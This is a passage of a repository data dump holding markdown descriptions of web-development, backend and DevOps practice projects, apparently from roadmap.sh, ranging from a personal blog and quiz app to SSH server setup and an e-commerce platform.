    "content": "---\ntitle: 'Personal Blog'\ndescription: 'Build a personal blog to write and publish articles on various topics.'\nisNew: false\nsort: 600\ndifficulty: 'beginner'\nnature: 'Web App'\nskills:\n  - 'Programming Language'\n  - 'Basic Authentication'\n  - 'Markdown'\n  - 'Filesystem'\n  - 'Libraries'\nseo:\n  title: 'Personal Blog Project Idea'\n  description: 'Build a personal blog to write and publish articles on various topics. Learn how to create a blog using a programming language and frontend technologies.'\n  keywords:\n    - 'personal blog project'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n---\n\nYou are required to build a personal blog where you can write and publish articles. The blog will have two sections: a guest section and an admin section.\n\n**Guest Section** — A list of pages that can be accessed by anyone:\n\n- **Home Page:** This page will display the list of articles published on the blog.\n- **Article Page:** This page will display the content of the article along with the date of publication.\n\n**Admin Section** — are the pages that only you can access to publish, edit, or delete articles.\n\n- **Dashboard:** This page will display the list of articles published on the blog along with the option to add a new article, edit an existing article, or delete an article.\n- **Add Article Page:** This page will contain a form to add a new article. The form will have fields like title, content, and date of publication.\n- **Edit Article Page:** This page will contain a form to edit an existing article. The form will have fields like title, content, and date of publication.\n\nHere are the mockups to give you an idea of the different pages of the blog.\n\nPages that anyone can access\n\n![Personal Blog](https://assets.roadmap.sh/guest/blog-guest-pages.png)\n\nPages that only the admin can access\n\n![Personal Blog](https://assets.roadmap.sh/guest/blog-admin-pages.png)\n\n## How to Implement\n\nHere are some guidelines to help you implement the personal blog:\n\n### Storage\n\nTo keep things simple for now, you can use the filesystem to store the articles. Each article will be stored as a separate file in a directory. The file will contain the title, content, and date of publication of the article. You can use JSON or Markdown format to store the articles. \n\n### Backend\n\nYou can use any programming language to build the backend of the blog. You don't have to make it as an API for this project, we have other projects for that. You can have pages that render the HTML directly from the server and forms that submit data to the server.\n\n### Frontend\n\nFor the frontend, you can use HTML and CSS (no need for JavaScript for now). You can use any templating engine to render the articles on the frontend.\n\n### Authentication\n\nYou can implement basic authentication for the admin section. You can either use the [standard HTTP basic authentication](https://youtu.be/mwccHwUn7Gc?t=20) or simply hardcode the username and password in the code for now and create a simple login page that will create a session for the admin.\n\n<hr />\n\nAfter completing this project, you will have practised templating, filesystem operations, basic authentication, form handling, and rendering HTML pages from the server. You can extend this project further by adding features like comments, categories, tags, search functionality, etc. Make sure to check the other backend projects that go into more advanced topics like databases, APIs, security best practices etc."
  },
  {
    "path": "src/data/projects/pomodoro-timer.md",
    "content": "---\ntitle: 'Pomodoro Timer'\ndescription: 'Create a pomodoro tracker application for productivity'\nisNew: true\nsort: 28\ndifficulty: 'intermediate'\nnature: 'Frameworks'\nskills:\n  - 'HTML'\n  - 'CSS'\n  - 'JavaScript'\n  - 'Frameworks'\nseo:\n  title: 'Pomodoro Tracker'\n  description: 'Create a pomodoro time tracker application for productivity tracking.'\n  keywords:\n    - 'frontend project'\n    - 'frontend frameworks'\n    - 'javascript'\n    - 'frontend project idea'\nroadmapIds:\n  - 'frontend'\n---\n\nThe goal of this project is to learn and practice frontend development skills by building a **Pomodoro Timer**, a productivity tool based on the Pomodoro Technique. The Pomodoro Technique is a time management method that uses a timer to break work into intervals (typically 25 minutes) separated by short breaks.\n\n## Requirements\n\nYou will create a Pomodoro Timer web application using the frontend framework of your choice e.g. React, Vue or Angular. Here is the list of requirements for the application:\n\n- User should be able to start stop and resume a pomodoro timer.\n- User should be able to configure the default interval configuration; default work session should be 25 minutes, short break should be 5 minutes and longer break after 4 work sessions should be 15 minutes.\n- Application should display the current session type (e.g., Work, Short Break, Long Break).\n- It should also track the number of tracked work sessions\n- Play a sound when a session ends to notify the user.\n- Ensure the app is accessible and visually appealing on both desktop and mobile devices.\n\nYou can use any existing pomodoro apps for the UI inspiration e.g.\n\n- [time.fyi - Pomodoro Timer](https://time.fyi/pomodoro)\n- [Pomofocus - Pomodoro Tracker](https://pomofocus.io/)\n\n## Technical Requirements\n\n- Use **HTML**, **CSS**, and **JavaScript** (or a frontend framework/library such as React, Vue, or Angular).\n- Implement state management for the timer and session tracking.\n- Use a modular and reusable code structure.\n- Maintain proper accessibility standards (e.g., keyboard navigation, ARIA labels).\n\nFeel free to deploy the application on [GitHub Pages](https://pages.github.com/), [Vercel](https://vercel.com/) or [Cloudflare pages](https://pages.cloudflare.com/)\n---\n\nBy completing this project, you will enhance your frontend development skills while building a functional and customizable Pomodoro Timer application. This knowledge will prepare you for more advanced projects and improve your ability to create interactive and user-friendly web applications."
  },
  {
    "path": "src/data/projects/portfolio-website.md",
    "content": "---\ntitle: 'Personal Portfolio'\ndescription: 'Convert the previous simple HTML website into a personal portfolio.'\nisNew: false\nsort: 3\ndifficulty: 'beginner'\nnature: 'CSS'\nskills:\n  - 'CSS'\n  - 'Responsive Design'\n  - 'Box Model'\n  - 'Typography'\n  - 'Flexbox'\nseo:\n  title: 'Create a Personal Portfolio Website Using HTML and CSS'\n  description: 'Learn how to style a website using CSS by converting a simple HTML website into a personal portfolio.'\n  keywords:\n    - 'basic css'\n    - 'css project idea'\n    - 'responsive design'\n    - 'html and css'\nroadmapIds:\n  - 'frontend'\n\n---\n\n> The goal of this project is to teach you how to style a website using CSS. You will take the structure from the [previous HTML-only project](/projects/basic-html-website) and apply various CSS techniques to enhance its appearance and responsiveness.\n\nIn this project, you will style the HTML website structure you created previously [in a different project](/projects/basic-html-website). The focus will be on learning how to use CSS to create responsive layouts, apply color and typography, and enhance the overall design of your website.\n\nRough mockups of the website structure for mobile and desktop devices are given below. Do not worry about the design details i.e. colors backgrounds etc at this stage; we are not looking for a beautiful design, but a well-structured and responsive website. Just focus on making the layout same as the mockup and ensuring it looks good on different screen sizes.\n\n[![Styled HTML Website](https://assets.roadmap.sh/guest/portfolio-template-xdhki.png)](https://assets.roadmap.sh/guest/portfolio-template-xdhki.png)\n\n## Submission Requirements\n\nYour submission should include:\n\n- A fully styled, responsive website with the same structure as the previous project.\n- Consistent use of a chosen color scheme and typography.\n- Proper use of CSS techniques like Flexbox, media queries, and the box model.\n- A responsive navigation bar and well-styled contact form.\n\n## Bonus Points\n\nFor bonus points, you can:\n\n- Use [Google Fonts](https://fonts.google.com/) to enhance the typography of your website.\n- Look into [GitHub Pages](https://pages.github.com/) or [Cloudflare Pages](https://pages.cloudflare.com/) to host your website for free.\n- Add support for dark mode using CSS variables.\n\n---\n\nAfter completing this project, you will have a solid understanding of how to style a basic HTML website using CSS. You can move on to more advanced topics, such as CSS animations, transitions, and grid layouts, in future projects.\n"
  },
  {
    "path": "src/data/projects/quiz-app.md",
    "content": "---\ntitle: 'Quiz App'\ndescription: 'Build a browser-based quiz application to test any knowledge'\nisNew: true\nsort: 29\ndifficulty: 'intermediate'\nnature: 'Frameworks'\nskills:\n  - 'HTML'\n  - 'CSS'\n  - 'JavaScript'\n  - 'Frameworks'\nseo:\n  title: 'Quiz App'\n  description: 'Build a browser-based quiz application to test any knowledge'\n  keywords:\n    - 'frontend project'\n    - 'frontend frameworks'\n    - 'javascript'\n    - 'frontend project idea'\nroadmapIds:\n  - 'frontend'\n---\n\nIn this project, we will be making a browser based quiz. The app will present users with a series of multiple-choice questions and after each question, the app will provide immediate feedback on whether the selected answer is correct or incorrect.\n\n## Requirements\n\nAs a developer, feel free to come up with a JSON based quiz the questions as you see fit. \n\n- The user will be initially presented with a \"start\" button and some detail about the quiz\n- When the user presses start they're presented with the first multiple choice question.\n- The questions are to be presented as `cards` with the answers being buttons on the card.\n- When the user selects an answer, the answer buttons are to turn red or green depending on the result. It should also show what the correct answer was.\n- If the user answers correctly, a score is to be incremented.\n- At the end of the quiz, the user is presented with a final score and all of the results.\n- Optionally add a timer of 1 minute to each question, if user doesn't attempt the question in that time, it should skip to next question and score should be decremented by 1.\n\nYou can use any frontend framework such as React, Vue or Angular and some state management library to handle the state.\n\n---\n\nAfter finishing this project, you will have a good understanding of managing complex states and building an app of moderate complexity using any frontend framework."
  },
  {
    "path": "src/data/projects/realtime-leaderboard-system.md",
    "content": "---\ntitle: 'Real-time Leaderboard'\ndescription: 'Create a real-time leaderboard system for ranking and scoring.'\nisNew: false\nsort: 2000\ndifficulty: 'advanced'\nnature: 'API'\nskills:\n  - 'Programming Language'\n  - 'Database'\n  - 'Scheduling'\n  - 'Authentication'\nseo:\n  title: 'Real-time Leaderboard System Idea'\n  description: 'Create a real-time leaderboard system that updates scores in real-time.'\n  keywords:\n    - 'movie reservation system'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n---\n\nThis project involves creating a backend system for a real-time leaderboard service. The service will allow users to compete in various games or activities, track their scores, and view their rankings on a leaderboard. The system will feature user authentication, score submission, real-time leaderboard updates, and score history tracking. Redis sorted sets will be used to manage and query the leaderboards efficiently.\n\n## Project Requirements\n\nYou are to build an imaginary real-time leaderboard system that ranks users based on their scores in various games or activities. The system should meet the following requirements:\n\n1. **User Authentication**: Users should be able to register and log in to the system.\n2. **Score Submission**: Users should be able to submit their scores for different games or activities.\n3. **Leaderboard Updates**: Display a global leaderboard showing the top users across all games.\n4. **User Rankings**: Users should be able to view their rankings on the leaderboard.\n5. **Top Players Report:** Generate reports on the top players for a specific period.\n\n## Tip - Use Redis Sorted Sets\n\n- **Leaderboard Storage:** Use Redis sorted sets to store and manage leaderboards.\n- **Real-Time Updates:** Utilize Redis sorted sets for efficient real-time updates and queries.\n- **Rank Queries:** Use Redis commands to query user ranks and leaderboard positions.\n\n<hr />\n\nAfter finishing this project, you will have a good understanding of how to create a real-time leaderboard system that updates scores in real-time. You will also gain experience working with Redis sorted sets and implementing user authentication and score submission features."
  },
  {
    "path": "src/data/projects/reddit-client.md",
    "content": "---\ntitle: 'Reddit Client'\ndescription: 'Create a Reddit client with customizable subreddit lanes.'\nisNew: false\nsort: 26\ndifficulty: 'intermediate'\nnature: 'API Integration'\nskills:\n  - 'HTML'\n  - 'CSS'\n  - 'JavaScript'\n  - 'API Integration'\n  - 'DOM Manipulation'\n  - 'Asynchronous Programming'\nseo:\n  title: 'Build a Multi-Lane Reddit Client with JavaScript and Reddit API'\n  description: 'Learn how to create a dynamic browser-based Reddit client that allows users to add and view multiple subreddits in customizable lanes.'\n  keywords:\n    - 'reddit api'\n    - 'subreddit viewer'\n    - 'javascript project'\n    - 'multi-lane client'\nroadmapIds:\n  - 'frontend'\n\n---\n\nYou are required to create a browser-based Reddit client that displays multiple subreddits in separate, customizable lanes. You'll work with the Reddit JSON feed to fetch posts from different subreddits and display them in a dynamic, responsive layout.\n\nThe application will allow users to add new subreddit lanes by entering a subreddit name. It will verify the existence of the subreddit, fetch its posts, and display them in a new lane. Each lane will show the subreddit's posts, including titles, authors, and vote counts.\n\n[![Multi-Lane Reddit Client](https://assets.roadmap.sh/guest/reddit-client-o876k.png)](https://assets.roadmap.sh/guest/reddit-client-o876k.png)\n\nTo fetch data from reddit, you can use the JSON feed available at the following URL. You can also use the Reddit API to fetch more details about the posts, such as comments, upvotes, and more.\n\n```plaintext\nhttps://www.reddit.com/r/{subreddit}.json\n```\n\nThe application should handle loading states while fetching data, display error messages for invalid subreddits or API issues, and provide a smooth user experience when adding or removing lanes. You can use local storage to save the user's custom lanes and restore them when the application is reloaded.\n\nThis project will help you practice API integration, state management, asynchronous programming, and creating a responsive, dynamic user interface. It's an excellent opportunity to enhance your skills in frontend development and working with real-time data.\n"
  },
  {
    "path": "src/data/projects/restricted-textarea.md",
    "content": "---\ntitle: 'Restricted Textarea'  \ndescription: 'Create a textarea with live character count and a max character limit.'  \nisNew: false  \nsort: 15  \ndifficulty: 'beginner'  \nnature: 'JavaScript'  \nskills:  \n  - 'HTML'\n  - 'CSS'\n  - 'JavaScript'\n  - 'DOM Manipulation'\nseo:\n  title: 'Build a Restricted Textarea with JavaScript'  \n  description: 'Learn how to create a textarea with live character count and a maximum limit, with visual feedback as the limit is reached.'  \n  keywords:\n    - 'character count'\n    - 'textarea limit'\n    - 'javascript input'\n    - 'html and css'\nroadmapIds:\n  - 'frontend'\n---\n\nYou are required to create a textarea that tracks and displays the number of characters typed by the user, along with a maximum character limit. As the user types, the character count will update dynamically. Once the limit is reached, the textarea will prevent further input and the border will turn red to visually indicate the limit has been hit.\n\n[![Restricted Textarea](https://assets.roadmap.sh/guest/textarea-input-vdclr.png)](https://assets.roadmap.sh/guest/textarea-input-vdclr.png)\n\nThis project will help you practice manipulating input elements with JavaScript, handling user input events, and providing real-time feedback to enhance user experience."
  },
  {
    "path": "src/data/projects/scalable-ecommerce-platform.md",
    "content": "---\ntitle: 'Scalable E-Commerce Platform'\ndescription: 'Build an e-commerce platform using microservices architecture.'\nisNew: false\nsort: 2200\ndifficulty: 'advanced'\nnature: 'API'\nskills:\n  - 'Microservices'\n  - 'Database'\n  - 'Docker'\n  - 'Authentication'\nseo:\n  title: 'Scalable E-Commerce Platform Project Idea'\n  description: 'Build a scalable e-commerce platform using microservices architecture and Docker.'\n  keywords:\n    - 'e-commerce platform'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n---\n\nBuild a scalable e-commerce platform using microservices architecture and Docker. The platform will handle various aspects of an online store, such as product catalog management, user authentication, shopping cart, payment processing, and order management. Each of these features will be implemented as separate microservices, allowing for independent development, deployment, and scaling.\n\n## Core Microservices:\n\nHere are the sample core microservices that you can implement for your e-commerce platform:\n\n- **User Service:** Handles user registration, authentication, and profile management.\n- **Product Catalog Service:** Manages product listings, categories, and inventory.\n- **Shopping Cart Service:** Manages users' shopping carts, including adding/removing items and updating quantities.\n- **Order Service:** Processes orders, including placing orders, tracking order status, and managing order history.\n- **Payment Service:**  Handles payment processing, integrating with external payment gateways (e.g., Stripe, PayPal).\n- **Notification Service:** Sends email and SMS notifications for various events (e.g., order confirmation, shipping updates). You can use third-party services like Twilio or SendGrid for this purpose.\n\n## **Additional Components:**\n\nIn addition to the core microservices, you can include the following components to enhance the scalability, reliability, and manageability of your e-commerce platform:\n\n- **API Gateway:** Serves as the entry point for all client requests, routing them to the appropriate microservice. It might be worth looking into Kong, Traefik, or NGINX for this purpose.\n- **Service Discovery:** Automatically detects and manages service instances. You can use Consul or Eureka for service discovery.\n- **Centralized Logging:** Aggregates logs from all microservices for easy monitoring and debugging. You can use the ELK stack (Elasticsearch, Logstash, Kibana) for this purpose.\n- **Docker & Docker Compose:** Containerize each microservice and manages their orchestration, networking, and scaling. Docker Compose can be used to define and manage multi-container applications.\n- **CI/CD Pipeline:** Automates the build, test, and deployment process of each microservice. You can use Jenkins, GitLab CI, or GitHub Actions for this purpose.\n\n## Steps to Get Started:\n\nHere's a high-level roadmap to guide you through the development of your scalable e-commerce platform:\n\n- **Set up Docker and Docker Compose:** Create Dockerfiles for each microservice. Use Docker Compose to define and manage multi-container applications.\n- **Develop Microservices:** Start with a simple MVP (Minimum Viable Product) for each service, then iterate by adding more features.\n- **Integrate Services:** Use REST APIs or gRPC for communication between microservices. Implement an API Gateway to handle external requests and route them to the appropriate services.\n- **Implement Service Discovery:** Use Consul or Eureka to enable dynamic service discovery.\n- **Set up Monitoring and Logging:** Use tools like Prometheus and Grafana for monitoring. Set up the ELK stack for centralized logging.\n- **Deploy the Platform:** Use Docker Swarm or Kubernetes for production deployment. Implement auto-scaling and load balancing.\n- **CI/CD Integration:** Automate testing and deployment using Jenkins or GitLab CI.\n\n<hr />\n\nThis project offers a comprehensive approach to building a modern, scalable e-commerce platform and will give you hands-on experience with Docker, microservices, and related technologies. After completing this project, you'll have a solid understanding of how to design, develop, and deploy complex distributed systems."
  },
  {
    "path": "src/data/projects/server-stats.md",
    "content": "---\ntitle: 'Server Performance Stats'\ndescription: 'Write a script to analyse basic server performance stats.'\nisNew: true\nsort: 100\ndifficulty: 'beginner'\nnature: 'CLI'\nskills:\n  - 'linux'\n  - 'bash'\n  - 'shell scripting'\nseo:\n  title: 'Server Performance Stats'\n  description: 'Write a script to analyse server performance stats.'\n  keywords:\n    - 'Server Stats'\n    - 'Server Performance Stats'\nroadmapIds:\n  - 'devops'\n---\n\nGoal of this project is to write a script to analyse server performance stats.\n\n## Requirements\n\nYou are required to write a script `server-stats.sh` that can analyse basic server performance stats. You should be able to run the script on any Linux server and it should give you the following stats:\n\n- Total CPU usage\n- Total memory usage (Free vs Used including percentage)\n- Total disk usage (Free vs Used including percentage)\n- Top 5 processes by CPU usage\n- Top 5 processes by memory usage\n\nStretch goal: Feel free to optionally add more stats such as os version, uptime, load average, logged in users, failed login attempts etc.\n\n<hr />\n\nOnce you have completed this project, you will have some basic knowledge on how to analyse server performance stats in order to debug and get a better understanding of the server's performance."
  },
  {
    "path": "src/data/projects/service-discovery.md",
    "content": "---\ntitle: 'Service Discovery'\ndescription: 'Setup service discovery with dummy services and Consul'\nisNew: false\nsort: 2000\ndifficulty: 'advanced'\nnature: 'DevOps'\nskills:\n  - 'devops'\n  - 'consul'\n  - 'api-gateway'\n  - 'monitoring'\nseo:\n  title: 'Service Discovery'\n  description: 'Setup service discovery with dummy services and Consul'\n  keywords:\n    - 'Service Discovery'\n    - 'DevOps'\n    - 'Consul'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to help you understand how service discovery works and how to setup Consul to manage your services. The learning objectives are:\n\n- Understand how services register with Consul\n- Learn how to query Consul for service information\n- Implement a basic service discovery mechanism\n- Understand service-to-service communication in a microservices architecture\n\n## Requirements\n\nThe project has multiple parts:\n\n### Dummy Services\n\nYou are required to create 3 dummy services, each service will just have a dummy endpoint (e.g. `/info`) that returns the current timestamp and the service name (e.g. Service A, Service B and Service C). Services should register themselves with Consul on startup.\n\n### API Gateway\n\nAPI gateway acts as a single point of entry for the application. It will be responsible for discovering the services using Consul's DNS interface or the API. The API gateway should be able to route requests to the appropriate service.\n\n### Consul\n\nConsul will be used to store the service information and to provide a single point of contact for the API gateway to discover the services.\n\n<hr />\n\nOnce you have completed the project, you should have a basic understanding of how service discovery works and how to setup Consul to manage your services."
  },
  {
    "path": "src/data/projects/simple-monitoring-dashboard.md",
    "content": "---\ntitle: 'Simple Monitoring'\ndescription: 'Set up a basic monitoring dashboard using Netdata.'\nisNew: false\nsort: 800\ndifficulty: 'beginner'\nnature: 'Monitoring'\nskills:\n  - 'monitoring'\n  - 'netdata'\n  - 'linux'\n  - 'devops'\nseo:\n  title: 'Simple Monitoring'\n  description: 'Learn how to set up a basic monitoring dashboard using Netdata.'\n  keywords:\n    - 'monitoring dashboard'\n    - 'netdata'\n    - 'system monitoring'\n    - 'devops'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to learn the basics of monitoring. It is to help you understand how to monitor the health of a system and how to set up a basic monitoring dashboard.\n\n## Requirements\n\nIn this project, you will set up a basic monitoring dashboard using [Netdata](https://github.com/netdata/netdata). Netdata is a powerful, real-time performance and health monitoring tool for systems and applications.\n\n- Install Netdata on a Linux system.\n- Configure Netdata to monitor basic system metrics such as CPU, memory usage, and disk I/O.\n- Access the Netdata dashboard through a web browser.\n- Customize at least one aspect of the dashboard (e.g., add a new chart or modify an existing one).\n- Set up an alert for a specific metric (e.g., CPU usage above 80%).\n\nYou can learn more about installing and configuring Netdata [here](https://learn.netdata.cloud/docs/agent/packaging/installer).\n\nYou can follow the above steps manually to get the understanding of the project. Once you have a working setup, create a few shell scripts to automate the setup and test the monitoring dashboard.\n\n- `setup.sh`: A shell script to install Netdata on a new system.\n- `test_dashboard.sh`: Script to put some load on the system and test the monitoring dashboard.\n- `cleanup.sh`: Script to clean up the system and remove the Netdata agent.\n\nThe goal with this automation is to slowly get accustomed to DevOps practices and CI/CD pipelines.\n\n<hr />\n\nOnce you have finished this project, you will have a basic understanding of how to set up a monitoring dashboard and how to automate the setup and testing processes. We will revisit the topic of monitoring and look at more advanced tools and techniques in later projects.\n"
  },
  {
    "path": "src/data/projects/simple-tabs.md",
    "content": "---\ntitle: 'Tabs'  \ndescription: 'Create a simple tabs component using HTML, CSS, and JavaScript.'  \nisNew: false  \nsort: 10  \ndifficulty: 'beginner'  \nnature: 'JavaScript'\nskills:  \n  - 'HTML'  \n  - 'CSS'  \n  - 'JavaScript'\n  - 'DOM Manipulation'\nseo:  \n  title: 'Create a Tabs Functionality Using HTML, CSS, and JavaScript'  \n  description: 'Learn how to build a tabs component with basic JavaScript for switching between content sections.'  \n  keywords:  \n    - 'javascript tabs'\n    - 'dynamic content'\n    - 'html and css'\n    - 'javascript project'  \nroadmapIds:  \n  - 'frontend'  \n\n---\n\nThis project is designed to introduce you to basic DOM manipulation and event handling in JavaScript.\n\nYou are required to create a simple tabs functionality using HTML, CSS, and basic JavaScript. The page will have four tabs, with the first tab being active by default. When the user clicks on another tab, the content of the current tab will be hidden, and the content of the selected tab will be displayed.\n\n[![Tabs Component Mockup](https://assets.roadmap.sh/guest/simple-tabs-8e6gy.png)](https://assets.roadmap.sh/guest/simple-tabs-8e6gy.png)\n\nThis project will help you practice selecting elements with JavaScript, listen for click events, and manipulate the dom to show or hide relevant tab content."
  },
  {
    "path": "src/data/projects/single-page-cv.md",
    "content": "---\ntitle: 'Single-Page CV'\ndescription: 'Create a single-page HTML CV to showcase your career history'\nisNew: false\nsort: 1\ndifficulty: 'beginner'\nnature: 'HTML'\nskills:\n  - 'HTML'\n  - 'Semantic HTML'\n  - 'Layout'\n  - 'SEO'\nseo:\n  title: 'Single-Page HTML CV Project'\n  description: 'Create a simple single-page HTML CV that displays your education, skills, and career history.'\n  keywords:\n    - 'html cv'\n    - 'single-page cv'\n    - 'html resume'\nroadmapIds:\n  - 'frontend'\n---\n\n> The goal of this project is to teach you how to create a structured, single-page CV using only HTML. You will focus on laying out your education, skills, and career history in a clean, semantic manner. Styling will be addressed in a later project.\n\nIn this project, you are required to create a single-page CV (Curriculum Vitae) using only HTML. Your webpage should look like the following image:\n\n![Single-Page HTML CV](https://assets.roadmap.sh/guest/resume-template-zyl70.png)\n\nKey requirements for this project:\n\n- **Semantic HTML**: Use appropriate HTML tags to structure your CV.\n- **SEO Meta Tags**: Include essential meta tags for SEO.\n- **Open Graph (OG) Tags**: Add OG tags for better social media sharing.\n- **Favicon**: Add a favicon for your CV page.\n\nThe structure of your CV should be easily understandable and ready for styling in a future project.\n\n### Submission Checklist:\n\n- Semantically correct HTML structure.\n- Single-page layout with sections for education, skills, and career history.\n- SEO meta tags in the head section.\n- OG tags for better social media sharing.\n- A favicon linked in the head section.\n\n<hr />\n\nBy completing this project, you'll gain a solid understanding of how to create a single-page CV using HTML, apply basic SEO principles, and prepare your webpage for future styling. This foundation will enable you to move on to styling the CV using CSS in subsequent projects.\n"
  },
  {
    "path": "src/data/projects/ssh-remote-server-setup.md",
    "content": "---\ntitle: 'SSH Remote Server Setup'\ndescription: 'Setup a basic remote linux server and configure it to allow SSH.'\nisNew: false\nsort: 500\ndifficulty: 'beginner'\nnature: 'SSH'\nskills:\n  - 'devops'\n  - 'linux'\nseo:\n  title: 'SSH Remote Server Setup'\n  description: 'Setup a remote linux server and configure it to allow SSH.'\n  keywords:\n    - 'ssh'\n    - 'linux'\n    - 'server'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to learn and practice the basics of Linux. You are required to setup a remote linux server and configure it to allow SSH connections.\n\n## Requirements\n\nYou are required to setup a remote linux server and configure it to allow SSH connections.\n\n- Register and setup a remote linux server on any provider e.g. a simple droplet on [DigitalOcean](https://m.do.co/c/b29aa8845df8) which gives you $200 in free credits with the link. Alternatively, use AWS or any other provider.\n- Create **two new SSH key pairs** and add them to your server.\n- You should be able to connect to your server using both SSH keys.\n\nYou should be able to use the following command to connect to your server using both SSH keys.\n\n```bash\nssh -i <path-to-private-key> user@server-ip\n``` \n\nAlso, look into setting up the configuration in `~/.ssh/config` to allow you to connect to your server using the following command.\n\n```bash\nssh <alias>\n```\n\nThe only outcome of this project is that you should be able to SSH into your server using both SSH keys. Future projects will cover other aspects of server setup and configuration.\n\nStretch goal: install and configure `fail2ban` to prevent brute force attacks.\n\n<hr />\n\n## Important Note for Solution Submission\n\n**Do not push your private key to any public repository.** The solution to this project should just contain one `README.md` file with the steps you took to complete the project.\n\n<hr />\n\nAfter completing this project, you will have a basic understanding of how to setup a remote linux server and configure it to allow SSH connections. Future projects will cover other aspects of server setup."
  },
  {
    "path": "src/data/projects/static-site-server.md",
    "content": "---\ntitle: 'Static Site Server'\ndescription: 'Setup a basic linux server and configure it to serve a static site.'\nisNew: false\nsort: 600\ndifficulty: 'beginner'\nnature: 'Nginx'\nskills:\n  - 'nginx'\n  - 'SSH'\n  - 'linux'\n  - 'devops'\n  - 'rsync'\nseo:\n  title: 'Static Site Server'\n  description: 'Setup a basic linux server and configure it to serve a static site.'\n  keywords:\n    - 'static site server'\n    - 'nginx'\n    - 'SSH'\n    - 'linux'\n    - 'devops'\n    - 'rsync'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to help you understand the basics of setting up a web server using a basic static site served using Nginx. You will also learn how to use `rsync` to deploy your changes to the server.\n\n## Requirements\n\nHere are the requirements for this project:\n\n- Register and setup a remote linux server on any provider e.g. a simple droplet on [DigitalOcean](https://m.do.co/c/b29aa8845df8) which gives you $200 in free credits with the link. Alternatively, use AWS or any other provider.\n- Make sure that you can connect to your server using SSH.\n- Install and configure `nginx` to serve a static site.\n- Create a simple webpage with basic HTML, CSS and image files.\n- Use `rsync` to update a remote server with a local static site.\n- If you have a domain name, point it to your server and serve your static site from there. Alternatively, set up your nginx server to serve the static site from the server's IP address.\n\nYou can write a script `deploy.sh` which when you run will use `rsync` to sync your static site to the server.\n\n<hr />\n\nOnce you have completed the project, you should have a basic understanding of how to setup a web server using a basic static site served using Nginx. You should also have a basic understanding of how to use `rsync` to deploy your changes to the server."
  },
  {
    "path": "src/data/projects/stories-feature.md",
    "content": "---\ntitle: '24hr Story Feature'  \ndescription: 'Create a client-side instagram stories feature clone.'  \nisNew: false  \nsort: 32\ndifficulty: 'advanced'  \nnature: 'Frameworks'  \nskills:  \n  - 'JavaScript'  \n  - 'Storage'  \n  - 'Timeouts'  \nseo:  \n  title: 'Build an Instagram Story Clone'  \n  description: 'Create a client-side instagram stories feature clone.'  \n  keywords:  \n    - 'html'\n    - 'css'\n    - 'javascript'\n    - 'instagram story'  \nroadmapIds:  \n  - 'frontend'\n---\n\nYou are required to build a \"Story\" feature similar to those found in popular social media platforms like Instagram and WhatsApp. The goal is to allow a user to post short, ephemeral content that disappears after 24 hours. As this is a Frontend project this is going to be client-side only.\n\n## Requirements\n\nThere will be a list of stories at the top and a plus button. Clicking the plus button will allow user to upload an image which will be converted to base64 and stored in local storage. The image will be displayed in the list of stories. The image will be removed after 24 hours. User should optionally be able to swipe through the stories.\n\n![Stories project clone](https://assets.roadmap.sh/guest/stories-project.png)\n\n## Constraints\n\n- You can use any frontend framework to build this\n- Feel free to use any libraries or tools you are comfortable with\n- The project should be client-side only\n- The project should be responsive\n- Image dimensions should be constrained to a maximum of 1080px x 1920px\n\n---\n\nAfter building this project, you will have a better understanding of how to work with client-side storage, timeouts, and how to create a responsive design."
  },
  {
    "path": "src/data/projects/task-tracker-js.md",
    "content": "---\ntitle: 'Task Tracker'\ndescription: 'Create a task tracker with a to-do list using JavaScript.'\nisNew: false\nsort: 22\ndifficulty: 'intermediate'\nnature: 'JavaScript'\nskills:\n  - 'HTML'\n  - 'CSS'\n  - 'JavaScript'\n  - 'DOM Manipulation'\nseo:\n  title: 'Build a Task Tracker with JavaScript'\n  description: 'Learn how to create a dynamic task tracker that allows users to add, complete, and delete tasks with real-time updates.'\n  keywords:\n    - 'task tracker'\n    - 'to-do list'\n    - 'javascript project'\nroadmapIds:\n  - 'frontend'\n---\n\nYou are required to create a task tracker that lets users add new tasks, mark them as complete, or delete them. Completed tasks will be moved to the end of the list and will have strikethrough, and users can unmark tasks to return them to the pending list.\n\nHere is the mockup of the task tracker:\n\n[![Task Tracker](https://assets.roadmap.sh/guest/task-tracker-2diba.png)](https://assets.roadmap.sh/guest/task-tracker-2diba.png)\n\n## Hint\n\nStore your tasks in an array of objects, where each object represents a task with properties like description and status (completed or not). Whenever a new task is added, updated, deleted, or marked as complete/uncomplete, update the tasks array. Write a function `renderTasks` which will remove all tasks from the DOM and re-render them based on the updated tasks array.\n\nThis project will help you practice array manipulation, event handling, and dynamic DOM updates using JavaScript.\n"
  },
  {
    "path": "src/data/projects/task-tracker.md",
    "content": "---\ntitle: 'Task Tracker'\ndescription: 'Build a CLI app to track your tasks and manage your to-do list.'\nisNew: false\nsort: 100\ndifficulty: 'beginner'\nnature: 'CLI'\nskills:\n  - 'Programming Language'\n  - 'CLI'\n  - 'Filesystem'\nseo:\n  title: 'Task Tracker CLI'\n  description: 'Build a command line interface (CLI) to track your tasks and manage your to-do list.'\n  keywords:\n    - 'task tracker cli'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n  - 'cpp'\n---\n\nTask tracker is a project used to track and manage your tasks. In this task, you will build a simple command line interface (CLI) to track what you need to do, what you have done, and what you are currently working on. This project will help you practice your programming skills, including working with the filesystem, handling user inputs, and building a simple CLI application.\n\n## Requirements\n\nThe application should run from the command line, accept user actions and inputs as arguments, and store the tasks in a JSON file. The user should be able to:\n\n- Add, Update, and Delete tasks\n- Mark a task as in progress or done\n- List all tasks\n- List all tasks that are done\n- List all tasks that are not done\n- List all tasks that are in progress\n\nHere are some constraints to guide the implementation:\n\n- You can use any programming language to build this project.\n- Use positional arguments in command line to accept user 